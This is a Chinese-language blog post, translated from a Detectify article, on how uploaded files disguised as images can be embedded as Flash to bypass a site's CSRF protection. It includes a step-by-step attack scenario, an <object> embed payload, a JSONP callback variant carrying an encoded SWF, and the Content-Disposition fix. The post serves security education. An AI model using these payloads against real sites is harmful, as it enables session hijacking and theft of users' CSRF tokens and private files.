Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >上传文件的陷阱

上传文件的陷阱

作者头像
逸鹏
发布于 2018-04-10 06:52:21
发布于 2018-04-10 06:52:21
97600
代码可运行
举报
文章被收录于专栏:逸鹏说道逸鹏说道
运行总次数:0
代码可运行

0x00 背景

现在很多网站都允许用户上传文件,但他们都没意识到让用户(或攻击者)上传文件(甚至合法文件)的陷阱。

什么是合法文件?

通常,判断文件是否合法会透过两个参数:文件后缀(File extension)及Content-Type。

例如,网站会确保后缀是jpg及Content-Type是image/jpeg以防止恶意文件,对不?

但一些像Flash的插件程序并不关心后缀及Content-type。假如一个文件被标签嵌入,它会像Flash一样执行,只要它的内容像个Flash文件。

但等等,Flash不是应该只在同域下被嵌入才会执行?亦对亦错。假如一个Flash文件(或以图像包装的Flash文件)在victim.com上传然后于attacker.com下嵌入,它只能在attacker.com下执行JavaScript。但是,假如该Flash文件发出请求,那么它可以读取到victim.com下的文件。

这说明了若不检查文件内容而直接上传,攻击者可以绕过网站的CSRF防御。

0x01 攻击

基于上面我们可以想像一种攻击场境:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1. 攻击者建立一个恶意Flash(SWF)文件  
2. 攻击者更改文件副档名为JPG  
3. 攻击者上传档案到victim.com  
4. 攻击者在attacker.com以标签及application/x-shockwave-flash类型嵌入该文件  
5. 受害者浏览attacker.com,并以SWF格式载入该文件  
6. 攻击者现在可以透过该SWF并以受害者的session向victim.com发出及接收任意请求  
7. 攻击者向victim.com发出请求后取得受害者的CSRF token  

payload会像这样

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<object style="height:1px;width:1px;" data="http://victim.com/user/2292/profilepicture.jpg" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="c=read&u=http://victim.com/secret_file.txt"></object>   

0x02 修补

好消息是有一个相对简单的方法防止该Flash的行为。 Flash若看到文件返回下面的Content-Disposition header就不会执行:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Content-Disposition: attachment; filename="image.jpg"  

所以若允许上传或输出任意数据,网站应该总是检查内容是否合法而且尽可能返回Content-Disposition header

0x03 其他用途

实际上,该攻击不只限制于文件上传。该攻击只要求攻击者能够控制域名下的数据(不论Content-Type),因此还有其他实施攻击的方法。

其中一种是利用JSONP接口。通常,攻击者可以透过更改callback参数控制JSONP接口的输出。然而,攻击者可以把整个Flash文件的内容作为callback参数,而达到与上载文件无异的攻击。 Payload会像这样:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<object style="height:1px;width:1px;" data="http://victim.com/user/jsonp?callback=CWS%07%0E000x%9C%3D%8D1N%C3%40%10E%DF%AE%8D%BDI%08%29%D3%40%1D%A0%A2%05%09%11%89HiP%22%05D%8BF%8E%0BG%26%1B%D9%8E%117%A0%A2%DC%82%8A%1Br%04X%3B%21S%8C%FE%CC%9B%F9%FF%AA%CB7Jq%AF%7F%ED%F2%2E%F8%01%3E%9E%18p%C9c%9Al%8B%ACzG%F2%DC%BEM%EC%ABdkj%1E%AC%2C%9F%A5%28%B1%EB%89T%C2Jj%29%93%22%DBT7%24%9C%8FH%CBD6%29%A3%0Bx%29%AC%AD%D8%92%FB%1F%5C%07C%AC%7C%80Q%A7Nc%F4b%E8%FA%98%20b%5F%26%1C%9F5%20h%F1%D1g%0F%14%C1%0A%5Ds%8D%8B0Q%A8L%3C%9B6%D4L%BD%5F%A8w%7E%9D%5B%17%F3%2F%5B%DCm%7B%EF%CB%EF%E6%8D%3An%2D%FB%B3%C3%DD%2E%E3d1d%EC%C7%3F6%CD0%09" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="c=alert&u=http://victim.com/secret_file.txt"></object>

from: http://blog.detectify.com/post/86298380233/the-pitfalls-of-allowing-file-uploads-on-your-website

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2016-07-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 我为Net狂 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
谈谈Json格式下的CSRF攻击
csrf漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)。这个操作不是用户真正想要执行的。
FB客服
2019/07/05
3.4K0
渗透测试TIPS之Web(一)
3、一个不错的OSINT工具框架网址:http://osintframework.com/
Jumbo
2018/08/20
2.1K0
渗透测试TIPS之Web(一)
AS3和JS通信
注意:先调用ExternalInterface.addCallback,再调用ExternalInterface.call
py3study
2020/01/13
7350
常见Flash XSS攻击方式
0x01 HTML中嵌入FLASH 在HTML中嵌入FLASH的时候在IE和非IE浏览器下嵌入的方式有所不同,可以使用embed标签和object标签,使用如下的代码进行嵌入: IE下嵌入 <object codeBase="http://fpdownload.macromedia.com/get/Flashplayer/current/swFlash.cab#version=8,0,0,0" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"> <pa
逸鹏
2018/04/10
5K0
常见Flash XSS攻击方式
丰富排版页面——为你的wordpress主题添加短代码形式美化框
相信有些wordpresser知道这个东东,在一些主题上这是标配,如deve主题、iartwork主题。原理大概是通过wordpress本身的短代码功能,事先在主题用css样式定义一些美化框,在编辑文章时写入短代码修饰,正式发表后再前台就可以看到效果。 如果你不会或不想修改主题代码实现这个功能,可以考虑一款短代码插件S-shortcodes。使用插件与直接代码增加的效果几乎是一样的(即安装插件对WordPress 速度上影响不大)。详细可以见《S-shortcodes:WordPress短代码形式美
Jeff
2018/01/19
2.3K0
丰富排版页面——为你的wordpress主题添加短代码形式美化框
Octopress中处理加网分享问题
作为一个以内容为中心的网站,在文章结尾增加社会化分享按钮是一种标配,使用Octopress也不例外,本博客选用了加网的社会化分享按钮。开始的时候一切顺利,但是后来出现了一点小瑕疵,具体的情况如下图
技术小黑屋
2018/09/04
1.7K0
Octopress中处理加网分享问题
XSF简单利用说明
0x00 前言 小白一枚前段时间遇到的,然后在网上查了资料询问了别人,做个简单的小总结。 0x01 XSF概念 XSF即Cross Site Flash,就是使用ActionScript加载第三方的Flash文件时,攻击者能控制这个第三方的Flash文件这样就有可能造成XSF攻击,以下函数如果使用不当就很容易产生XSF问题。在一些网站发帖或者评论的地方可加载FLASH文件的地方(不止flash文件),由于输入输出过滤不严格,而产生的跨站攻击。 0x02 Payload aaaa<object
用户1467662
2018/03/30
1.5K0
XSF简单利用说明
加载RAM磁盘编译Xcode项目
每次对Xcode iOS项目进行clean、build或者在iOS虚拟机上launch,Xcode都会在DeriveData文件夹中进行读写操作。换句话说,就是将Derived Data的读写从硬盘移动到内存中。 DeriveData文件夹中包含了所有的build信息、debug- 和 release- built targets以及项目的索引。当遇到零散索引(odd index)问题(代码块补全工作不正常、经常性的重建索引、或者运行项目缓慢)时,它可以有效地删除衍生数据。删除这个文件夹将会导致所有Xcode上的项目信息遭到破坏。
freesan44
2018/09/05
1.6K0
嵌入在网站上Flash播放机(2)
然后在一个博客。这里有一个flash嵌入式播放器。这是公司内部使用的flash播放机,支持格更多款式,同时支持swf格视频播放的类型。
全栈程序员站长
2022/07/06
9070
博客园特效简单添加
  为了是博客稍微花哨一点,不要太单调,简单的添加了一些特效进来.   时钟人特效添加,只需要一段代码就可以达到效果了. <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" width="160" height="70" id="honehonec
@坤的
2018/06/04
1.2K0
flash视频器播放器代码
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/155713.html原文链接:https://javaforall.cn
全栈程序员站长
2022/09/07
3.7K0
通过挖掘某某 src 来学习 json csrf
在某某 src 进行渗透测试的过程中,发现一个评论的地方并没有对次数进行限制且在数据区域也没有 token 的字眼,因此猜测此处存在 csrf 漏洞,于是就开始了漫长的学习之旅
信安之路
2019/08/06
1.2K0
通过挖掘某某 src 来学习 json csrf
js小技巧:延时加载Flash
当页面中包含自动播放视频的flash播放器时,flash的流媒体播放会一直不停的下载视频(哪怕你点击了播放暂停/停止也一样在不停下载),这样会影响到页面其它元素的加载。 最简单的优化办法就是让Flash一开始不要播放:当然,你可以修改fla源文件,让视频播放一开始就处于暂停,直到用户点击了播放按钮。但问题是,如果您嵌入的是没有源文件的flash动画,这种路子就走不通了。 思路: 可以先在放置flash的地方,放一张小图片,点击图片后再把图片元素换成对应的object标签。 <!DOCTYPE html PU
菩提树下的杨过
2018/01/22
2.6K0
那些年我们一起学XSS - 21. 存储型XSS进阶 [猜测规则,利用Flash addCallback构造XSS]
1. 前提:本例需在IE9,IE10下进行。 2. 我们乌云上报告的一些已有案例,进行了再次测试。 WooYun: PKAV腾讯专场 - 6. (QQ空间+朋友网)日志功能存储型XSS 上例中,提到了QQ空间日志并未对object标签进行有效的过滤。 3. 我们根据此例中的代码对过滤规则进行测试:
渗透攻击红队
2019/11/20
5160
那些年我们一起学XSS - 21. 存储型XSS进阶 [猜测规则,利用Flash addCallback构造XSS]
CRTMP视频直播服务器部署及测试
svn co –username anonymous –password “” https://svn.rtmpd.com/crtmpserver/trunk crtmpserver
全栈程序员站长
2022/06/27
1.2K0
flash cookie的制作和使用例子详解 三
大家好,又见面了,我是你们的朋友全栈君。前面的两篇博客介绍的是怎么用页面来操作flash cookie,还要放在容器里运行,这篇做一个简单的仅仅使用flash就可以读写flash cookie的例子
全栈程序员站长
2022/09/14
2660
大多数人都不了解的漏洞....一文弄懂CSRF
本号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如有侵权请联系小编处理。
网络安全自修室
2022/05/16
1.3K0
大多数人都不了解的漏洞....一文弄懂CSRF
CSRF(跨站点请求伪造)在Flash中的利用
0x00 前言 CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。 对于大多数网站,浏览
FB客服
2018/02/28
1.3K0
CSRF(跨站点请求伪造)在Flash中的利用
网页中插入FLASH代码的参数解释与使用技巧
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" WIDTH="550" HEIGHT="400" > <PARAM VALUE="myFlashMovie.swf"> <PARAM VALUE=high> <PARAM VALUE=#FFFFFF> <EMBED src="/support/flash/ts/documents/myFlashMovie.swf" quality=high bgcolor=#FFFFFF WIDTH="550" HEIGHT="400" NAME="myMovieName" ALIGN="" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer"> </EMBED> </OBJECT>
阳光岛主
2019/02/19
1.7K0
CSRF攻击原理介绍和利用
注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。
全栈工程师修炼指南
2020/10/23
4.6K0
CSRF攻击原理介绍和利用
相关推荐
谈谈Json格式下的CSRF攻击
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验